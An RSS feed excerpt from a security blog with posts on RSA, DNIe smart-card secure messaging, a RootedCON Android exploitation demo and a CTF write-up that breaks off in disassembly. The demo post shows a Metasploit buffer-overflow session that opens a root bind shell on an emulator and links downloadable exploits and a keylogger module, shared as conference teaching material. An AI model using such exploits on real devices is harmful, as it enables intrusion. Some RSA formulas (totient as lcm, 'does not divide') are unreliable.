<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/cpeu-wargame-crypto4" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/bZBIX0QBpCA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/cpeu-wargame-crypto4/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/cpeu-wargame-crypto4</feedburner:origLink></item>
		<item>
		<title>Crypto Series: Introduction to the RSA algorithm</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/lAno2BSAs1s/introduction-to-rsa</link>
		<comments>http://www.limited-entropy.com/introduction-to-rsa#comments</comments>
		<pubDate>Sun, 18 Apr 2010 08:27:33 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Crypto Series]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[RSA]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=577</guid>
		<description><![CDATA[After seeing how the ElGamal system works, today we are going to take a look at the RSA public key cryptosystem. The RSA algorithm was first published by Rivest, Shamir and Adleman in 1978 and is probably the most used crypto algorithm today. Despite this fact, the algorithm seems to have been invented by Clifford [...]]]></description>
			<content:encoded><![CDATA[<p>After seeing how the ElGamal system works, today we are going to take a look at the RSA public key cryptosystem. The RSA algorithm was first published by Rivest, Shamir and Adleman in 1978 and is probably the most used crypto algorithm today.</p>
<p>Despite this fact, the algorithm seems to have been invented by Clifford Cocks, a british mathematician who worked for a UK intelligence agency. Since this work was never published due to the top-secret classification, the algorithm received its name from Rivest, Shamir and Adleman who were the first to discuss it publicly. A document declassified in 1997 revealed the fact that Clifford Cocks had actually described an equivalent system in 1973.</p>
<p>Let me remind you once again that these posts are not intended to be 100% accurate in a mathematical sense, but an introduction for people who doesn't know much about cryptography. If you want more accurate and complete descriptions, take a crypto book such as the <a href="http://www.cacr.math.uwaterloo.ca/hac/">Handbook of Applied Cryptography</a> I've linked in most of my posts <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><strong>Setting up the RSA algorithm</strong></p>
<p>The RSA algorithm is based on the assumption that integer factorization is a difficult problem. This means that given a large value <em>n</em>, it is difficult to find the prime factors that make up <em>n</em>.</p>
<p>Based on this assumption, when Alice and Bob want to use RSA for their communications, each of them generates a big number <em>n</em> which is the product of two primes <em>p,q</em> with approximately the same length.</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=n%20%3D%20p%5Ccdot%20q%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='n = p\cdot q ' title='n = p\cdot q ' class='latex' /></p>
<p style="text-align: left;">Next, they choose their public exponent <em>e</em>, modulo <em>n</em>. Typical values for <em>e</em> include 3 (which is not recommended!) and <img src='http://s.wordpress.com/latex.php?latex=2%5E%7B16%7D%2B1%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='2^{16}+1 ' title='2^{16}+1 ' class='latex' /> (65537). From <em>e</em>, they compute their private exponent <em>d</em> so that:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=e%20%5Ccdot%20d%20%5Cequiv%201%20%5Cpmod%7B%5Cvarphi%28n%29%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='e \cdot d \equiv 1 \pmod{\varphi(n)}' title='e \cdot d \equiv 1 \pmod{\varphi(n)}' class='latex' /></p>
<p style="text-align: left;">Where <img src='http://s.wordpress.com/latex.php?latex=%5Cvarphi%28n%29%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\varphi(n) ' title='\varphi(n) ' class='latex' /> is the Euler's totient of n. This is a mathematical function which is equal to the number of numbers smaller than n which are comprimes with n, i.e. numbers that do not have any common factor with <em>n. </em>If <em>n</em> is a prime <em>p</em>, then its totient is <em>p-1</em> since all numbers below <em>p</em> are comprimes with <em>p</em>.</p>
<p style="text-align: left;">In the case of the RSA setup, <em>n</em> is the product of two primes. In that case, the resulting value is <em>lcm((p-1)(q-1)</em>) because only the multiples of <em>p</em> and <em>q</em> are not comprimes with <em>n</em>.</p>
<p style="text-align: left;">Once our two parties have their respective public and private exponents, they can share the public exponents and the modulus they computed.</p>
<p style="text-align: left;"><strong>Encryption with RSA</strong></p>
<p style="text-align: left;">Once the public key (i.e. <em>e</em> and <em>n</em>) of the receiving end of the communication is known, the sending party can encrypt messages like this:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=c%20%3D%20m%5Ee%20%5Cpmod%7Bn%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c = m^e \pmod{n} ' title='c = m^e \pmod{n} ' class='latex' /></p>
<p style="text-align: left;">When this message is received, it can be decrypted using the private key and a modular exponentiation as well:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=m%5E%7B%5Cprime%7D%20%3D%20c%5Ed%20%5Cpmod%7Bn%7D%20%3D%20m%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m^{\prime} = c^d \pmod{n} = m ' title='m^{\prime} = c^d \pmod{n} = m ' class='latex' /></p>
<p style="text-align: left;"><strong>Example</strong></p>
<p style="text-align: left;">

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">sage: p=random_prime<span style="color: black;">&#40;</span><span style="color: #ff4500;">10000</span><span style="color: black;">&#41;</span>
sage: q=random_prime<span style="color: black;">&#40;</span><span style="color: #ff4500;">10000</span><span style="color: black;">&#41;</span>
sage: n=p<span style="color: #66cc66;">*</span>q
sage: p,q,n
<span style="color: black;">&#40;</span><span style="color: #ff4500;">883</span>, <span style="color: #ff4500;">2749</span>, <span style="color: #ff4500;">2427367</span><span style="color: black;">&#41;</span>
sage: e=<span style="color: #ff4500;">17</span>
sage: G=IntegerModRing<span style="color: black;">&#40;</span>lcm<span style="color: black;">&#40;</span>p-<span style="color: #ff4500;">1</span>,q-<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
sage: d = G<span style="color: black;">&#40;</span>e<span style="color: black;">&#41;</span>^-<span style="color: #ff4500;">1</span>
sage: G<span style="color: black;">&#40;</span>d<span style="color: black;">&#41;</span><span style="color: #66cc66;">*</span>G<span style="color: black;">&#40;</span>e<span style="color: black;">&#41;</span>
<span style="color: #ff4500;">1</span>
sage: m=<span style="color: #ff4500;">1337</span>
sage: G2=IntegerModRing<span style="color: black;">&#40;</span>n<span style="color: black;">&#41;</span>
sage: c=G2<span style="color: black;">&#40;</span>m<span style="color: black;">&#41;</span>^e
sage: c
<span style="color: #ff4500;">1035365</span>
sage: m_prime=G2<span style="color: black;">&#40;</span>c<span style="color: black;">&#41;</span>^d
sage: m_prime
<span style="color: #ff4500;">1337</span></pre></div></div>

<p>In the commands above, I first create two random primes below 10000 and compute n. Then I create a IntegerModRing object to compute things modulo lcm(p-1,q-1) and perform the computation of the private exponent as the inverse of the public exponent on that ring.</p>
<p>Next, I create a new ring modulo N. Then I can use the public exponent to encrypt a message <em>m</em> and use the private exponent to decipher the cryptotext <em>c</em>... and it works!</p>
<p style="text-align: left;"><strong>Correctness of RSA encryption/decryption</strong></p>
<p style="text-align: left;">We have seen it works with our previous example, but that doesn't prove that it really works always. I could have chosen the numbers carefully for my example and make them work.</p>
<p style="text-align: left;">Euler's theorem tells us that given a number <em>n</em> and another number <em>a</em> which does not divide <em>n</em> the following is true:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=a%5E%7B%5Cvarphi%28n%29%7D%20%5Cequiv%201%20%5Cpmod%7Bn%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='a^{\varphi(n)} \equiv 1 \pmod{n} ' title='a^{\varphi(n)} \equiv 1 \pmod{n} ' class='latex' /></p>
<p style="text-align: left;">Therefore, and since <img src='http://s.wordpress.com/latex.php?latex=e%5Ccdot%20d%20%5Cequiv%201%20%5Cpmod%7B%5Cvarphi%28n%29%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='e\cdot d \equiv 1 \pmod{\varphi(n)} ' title='e\cdot d \equiv 1 \pmod{\varphi(n)} ' class='latex' />, for any message <em>m</em> that does not divide <em>n</em> the encryption and decryption process will work fine. However, for values of <em>m</em> that divide <em>n</em> we need to use more advanced maths to prove the correctness.</p>
<p style="text-align: left;">Another way to prove it is to use Fermat's little theorem and the Chinese Remainder Theorem. I will explain these theorems in my next post and then I will provide a complete proof based on them.</p>
<p style="text-align: left;"><strong>RSA for signing</strong></p>
<p style="text-align: left;">In the case of RSA, digital signatures can be easily computed by just using <em>d</em> instead of <em>e</em>. So, for an RSA signature one would take message <em>m</em> and compute its hash <em>H(m)</em>. Then, one would compute the signature <em>s</em> as:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=s%20%3D%20%28H%28m%29%29%5Ed%20%5Cpmod%7Bn%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='s = (H(m))^d \pmod{n} ' title='s = (H(m))^d \pmod{n} ' class='latex' /></p>
<p style="text-align: left;">For verifying the signature, the receiving end would have to compute the message hash <em>H(m) </em>and compare it to the hash contained in the signature:</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=H%27%28m%29%20%3D%20s%5Ee%20%5Cpmod%7Bn%7D%20%5Cequiv%20%28H%28m%29%5Ed%29%5Ee%20%5Cpmod%7Bn%7D%20%5Cequiv%20H%28m%29%20%5Cpmod%7Bn%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='H&#039;(m) = s^e \pmod{n} \equiv (H(m)^d)^e \pmod{n} \equiv H(m) \pmod{n} ' title='H&#039;(m) = s^e \pmod{n} \equiv (H(m)^d)^e \pmod{n} \equiv H(m) \pmod{n} ' class='latex' /></p>
<p style="text-align: left;">Therefore, if the hash computed over the received message matches the one computed from the signature, the message has not been altered and comes from the claimed sender.</p>
<p style="text-align: left;"><strong>Security of RSA</strong></p>
<p style="text-align: left;">In order to completely break RSA, one would have to factor <em>n</em> into it's two prime factors, <em>p</em> and <em>q</em>. Otherwise, computing <em>d</em> from <em>e</em> would be hard because <em>(p-1)</em> and <em>(q-1)</em> are not known and <em>n </em>is a large number (which means that computing its totient is also difficult).</p>
<p style="text-align: left;">In a few posts I will show an algorithm to solve the factorization problem. However, another way to break RSA encrypted messages would be to solve a discrete logarithm. Indeed, since <img src='http://s.wordpress.com/latex.php?latex=c%3Dm%5Ee%20%5Cpmod%7Bn%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c=m^e \pmod{n} ' title='c=m^e \pmod{n} ' class='latex' />, if one solves the discrete logarithm of <em>c</em> modulo <em>n</em><em>, </em>the message would be recovered.</p>
<p style="text-align: left;">Luckily, we already know that discrete logs are not easy to compute. And in this case, solving one does not break the whole system but just one message.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/introduction-to-rsa" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/lAno2BSAs1s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/introduction-to-rsa/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/introduction-to-rsa</feedburner:origLink></item>
		<item>
		<title>RootedCON: Examples + small summary</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/IZA7Cy89_Pk/rootedcon-examples-summary</link>
		<comments>http://www.limited-entropy.com/rootedcon-examples-summary#comments</comments>
		<pubDate>Thu, 15 Apr 2010 20:04:36 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[rootedcon]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=631</guid>
		<description><![CDATA[It's been almost a month since RootedCON, but I didn't have any time to spend on preparing the .tgz file with the example shellcodes, poc apps and exploits we showed during our talk. And neither did I publish any kind of summary or anything about the event... You can also find Javi's post on the [...]]]></description>
			<content:encoded><![CDATA[<p>It's been almost a month since RootedCON, but I didn't have any time to spend on preparing the .tgz file with the example shellcodes, poc apps and exploits we showed during our talk. And neither did I publish any kind of summary or anything about the event...</p>
<p>You can also find Javi's post on the RootedCON <a href="http://vierito.es/wordpress/2010/04/15/rooted-con-2010-all-your-base-are-belong-to-us">here</a>. It's in Spanish, don't say I didn't warn <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . You can also find the slides of our presentation <a href="http://vierito.es/Android_RootedCON_Final.pdf">here</a>.</p>
<p><strong>Examples from our presentation on Android exploitation</strong></p>
<p>First things first, <a href="http://www.limited-entropy.com/docs/examples_android_rootedcon.tar.gz">here</a> is the examples we used during the presentation. As a quick summary, this is how I use the buffer overflow exploit.</p>
<p>First, launch the emulator and wait for it to start. Then, with adb you need to forward a couple of ports: 2000 for the vulnerable apps and whatever you like for your bind shell. Then you can launch the binary, which I had uploaded using <em>adb push</em> to /data/bin/myapp:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">eloi<span style="color: #000000; font-weight: bold;">@</span>EloiLT:~<span style="color: #000000; font-weight: bold;">/</span>android<span style="color: #000000; font-weight: bold;">/</span>paper$ adb forward tcp:<span style="color: #000000;">2000</span> tcp:<span style="color: #000000;">2000</span>
eloi<span style="color: #000000; font-weight: bold;">@</span>EloiLT:~<span style="color: #000000; font-weight: bold;">/</span>android<span style="color: #000000; font-weight: bold;">/</span>paper$ adb forward tcp:<span style="color: #000000;">2222</span> tcp:<span style="color: #000000;">2222</span>
eloi<span style="color: #000000; font-weight: bold;">@</span>EloiLT:~<span style="color: #000000; font-weight: bold;">/</span>android<span style="color: #000000; font-weight: bold;">/</span>paper$ adb shell
<span style="color: #666666; font-style: italic;"># /data/bin/myapp</span></pre></div></div>

<p>Now, you can launch the exploit from metasploit:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&amp;</span>gt; use exploit<span style="color: #000000; font-weight: bold;">/</span>linux<span style="color: #000000; font-weight: bold;">/</span>misc<span style="color: #000000; font-weight: bold;">/</span>android_stack
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>android_stack<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">set</span> payload linux<span style="color: #000000; font-weight: bold;">/</span>armle<span style="color: #000000; font-weight: bold;">/</span>shell_bind_tcp
payload =<span style="color: #000000; font-weight: bold;">&amp;</span>gt; linux<span style="color: #000000; font-weight: bold;">/</span>armle<span style="color: #000000; font-weight: bold;">/</span>shell_bind_tcp
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>android_stack<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">set</span> RPORT <span style="color: #000000;">2000</span>
RPORT =<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000;">2000</span>
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>android_stack<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">set</span> LPORT <span style="color: #000000;">2222</span>
LPORT =<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000;">2222</span>
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>android_stack<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; exploit
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Started <span style="color: #7a0874; font-weight: bold;">bind</span> handler
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Command shell session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>127.0.0.1:<span style="color: #000000;">55207</span> -<span style="color: #000000; font-weight: bold;">&amp;</span>gt; 127.0.0.1:<span style="color: #000000;">2222</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Command shell session <span style="color: #000000;">1</span> closed.
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>android_stack<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; exploit
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Started <span style="color: #7a0874; font-weight: bold;">bind</span> handler
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Command shell session <span style="color: #000000;">2</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>127.0.0.1:<span style="color: #000000;">34834</span> -<span style="color: #000000; font-weight: bold;">&amp;</span>gt; 127.0.0.1:<span style="color: #000000;">2222</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">/</span>system<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">id</span>
<span style="color: #007800;">uid</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">exit</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Command shell session <span style="color: #000000;">2</span> closed.
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>android_stack<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt;</pre></div></div>

<p>The same thing applies to the cpp_challenge demo application. You just use a different exploit, but that's it. Beware that you might have to tune some addresses on your local installation, as they are hardcoded. However, I believe they should be static for every installation.</p>
<p>In addition to apps and the metasploit stuff, you can also find two kernel modules. One is a simple <em>find syscall table</em> module, and the other one is a keyboard logger. The latter only works for linux &gt;= 2.6.28, for earlier versions you need to change it slightly.</p>
<p><strong>RootedCON mini-summary</strong></p>
<p>I won't spend much time on it, as it's been quite some time already and I don't feel like writing a complete summary of it.</p>
<p>Overall I think it was a great event. Sure there is stuff that can be improved as everywhere, but for being the first edition it was very good. From the talks I attended, in my opinion there were great talks but also a one or two I didn't really like. On our side, we are pretty happy with the way it was received and the reactions we have seen <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Besides the talks, and probably even more important, it was great to meet so many people that I'd only know through the Internet otherwise. Cheers to all of you guys, hope to see you next year at RootedCON or maybe earlier somewhere else <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/rootedcon-examples-summary" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/IZA7Cy89_Pk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/rootedcon-examples-summary/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/rootedcon-examples-summary</feedburner:origLink></item>
		<item>
		<title>Understanding the DNIe, Part II : Secure Messaging</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/JuM7MqSzTsI/dnie-secure-messaging</link>
		<comments>http://www.limited-entropy.com/dnie-secure-messaging#comments</comments>
		<pubDate>Mon, 12 Apr 2010 00:56:44 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[dnie]]></category>
		<category><![CDATA[smart cards]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=621</guid>
		<description><![CDATA[Let's go a little further in our way to understand the way the DNIe works. In my previous post I talked about the device authentication procedure and today I'll talk about what happens next, how Secure Messaging protects all the subsequent communication. By the way, I updated the previous post with information on how to [...]]]></description>
			<content:encoded><![CDATA[<p>Let's go a little further in our way to understand the way the DNIe works. In my <a href="http://www.limited-entropy.com/dnie-device-auth">previous post</a> I talked about the device authentication procedure and today I'll talk about what happens next, how Secure Messaging protects all the subsequent communication.</p>
<p>By the way, I updated the previous post with information on how to get the card's serial number.</p>
<p><strong>Device authentication, quick reminder</strong></p>
<p>As I said in the previous blog, the device authentication phase consists of the following steps:</p>
<ul>
<li>Certificate exchange: The terminal (IFD) requests a X.509 certificate from the card and sends its own certificate and an intermediate CA's certificate to the card</li>
<li>Internal authenticate: The IFD sends a random challenge to the card and requests it to authenticate itself. This is done with an RSA signature, which is then encrypted for the IFD, and includes a 32 byte random number known as Kicc.</li>
<li>External authenticate: The terminal authenticates itself, requesting a challenge from the card and sending a signed and encrypted message to the card. Again, this message includes a 32 byte random number known as Kifd.</li>
<li>Key generation: both ends generate a key for encryption and a key for authentication. This is done by XORing first the two random numbers, and computing then the SHA-1 hash of the result with a constant 1 appended for the encryption key and a constant 2 for the authentication (MAC) key.</li>
</ul>
<p>So basically at the end of this process, both ends share a pair of keys that can be used for protecting the confidentiality and the integrity of subsequent messages.</p>
<p>Let's see how this is done.</p>
<p><span id="more-621"></span></p>
<p><strong>Confidentiality</strong></p>
<p>3DES in CBC mode is used for confidentiality of the messages. When the data needs to be encrypted, the message is first padded with a 0x80 byte and as many zero bytes as needed to have a complete number of blocks (i.e. a message length multiple of 8 bytes).</p>
<p>Then 3DES in CBC mode with a null initialization vector is used to encrypt the data. After this, the message is inserted in what is called a <em>Data Object</em> in the ISO 7816-4 standard. Concretely, the cryptogram DO used in the E-SIGN specs has a tag equal to 0x87. DOs are a TLV structure, which means they have a Tag identifying the kind of information they carry, a Length byte indicating how many bytes of content they carry, and a Value field with the indicated number of bytes.</p>
<p>In this case, DO 0x87 carries the a Padding Indicator (PI) equal to 0x01 (this indicates the padding described above, starting with 0x80 and continuing with bytes set to 0x00) followed by the cryptogram.</p>
<p><strong>Authentication</strong></p>
<p>Authentication of messages is performed using a MAC based on the DES/3DES algorithm. After encrypting the required content, a MAC is computed over the APDU (or TPDU) header and the Data field. It should be noted that the Data field may contain not only DO 0x87 but also other DOs including plain text information, status word information in the case of response APDUs and others.</p>
<p>Before computing any MAC, the Send Sequence Counter is created by concatenating the 4 least significant bytes of RND.ICC and the 4 least significant bytes of RND.IFD. These are the 8 byte challenges created during the authentication process as explained above and in the previous post.</p>
<p>This SSC is used as an initialization vector for the MAC computation, which encrypts the data to be authenticated using DES in CBC mode, except for the last block which is encrypted using 3DES. The output of this last encryption is then used as the MAC. As before, the message is padded with a 0x80 byte and as many zero bytes as needed before applying the encryption process.</p>
<p>Actually, only the 4 most significant bytes of this value are included in the message and they are included in a DO 0x8E. Again, this is a TLV structure, with tag 0x8E, length 0x04 and Value equal to those 4 most significant bytes of the computed MAC.</p>
<p>Finally, the SSC value is incremented for each authenticated message. Therefore, both ends should keep track of the changes to this value in order to provide authenticated messages to the other end and to verify the authentication of incoming messages.</p>
<p>The inclusion of the sequence counter based on the random challenges used in the authentication process allows for protecting the communication against reply attacks even within the same session.</p>
<p><strong>Next steps</strong></p>
<p>Again, my goal is to understand how to request an electronic signature to my DNIe. Therefore, the next thing I need to do is implementing this secure messaging layer and authenticate myself to the card using my PIN code. Further, I need to send a signature request with a SHA-1 hash to be signed.</p>
<p>Therefore, in the coming post(s) I'll describe how this process works once Secure Messaging is set up and is used for protecting the communication.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/dnie-secure-messaging" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/JuM7MqSzTsI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/dnie-secure-messaging/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/dnie-secure-messaging</feedburner:origLink></item>
		<item>
		<title>RootedCON CTF write-up ‘hello’ challenge</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/sMewIsaf7XI/rootedcon-ctf-write</link>
		<comments>http://www.limited-entropy.com/rootedcon-ctf-write#comments</comments>
		<pubDate>Mon, 22 Mar 2010 21:35:15 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=604</guid>
		<description><![CDATA[As you probably know, last week I was at RootedCON. During the congress, a Caputre The Flag contest was organized, where each participant had to resolve several challenges. Although I didn't register for the contest, I got a copy of one of the binaries from a friend of mine. I'm sorry to be too late [...]]]></description>
			<content:encoded><![CDATA[<p>As you probably know, last week I was at RootedCON. During the congress, a Caputre The Flag contest was organized, where each participant had to resolve several challenges.</p>
<p>Although I didn't register for the contest, I got a copy of one of the binaries from a friend of mine. I'm sorry to be too late for it, if I had been on time he would have won a 1000 euro prize... but I had no time due to my talk. Sorry dude!</p>
<p>However, yesterday morning I had some spare time after the other guys left the hotel and during my flight, so I gave it a try. Yesterday during one of the talks I did a preliminary reverse engineering session with IDA Pro and quickly spotted the flaw: as the hints said, it was a stack buffer overflow using sprintf() in the say_something function :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> say_something
say_something <span style="color: #000000; font-weight: bold;">proc</span> <span style="color: #000000; font-weight: bold;">near</span>
&nbsp;
var_118= <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #339933;">-</span><span style="color: #0000ff;">118h</span>
var_114= <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #339933;">-</span><span style="color: #0000ff;">114h</span>
var_110= <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #339933;">-</span><span style="color: #0000ff;">110h</span>
var_106= <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #339933;">-</span><span style="color: #0000ff;">106h</span>
var_C= <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #339933;">-</span><span style="color: #0000ff;">0Ch</span>
arg_0= <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span>  <span style="color: #0000ff;">8</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">ebp</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span>
<span style="color: #00007f; font-weight: bold;">sub</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">118h</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_110<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">3E8h</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_114<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span>
<span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">118h</span><span style="color: #339933;">+</span>var_118<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> petete
<span style="color: #00007f; font-weight: bold;">call</span>    _memset
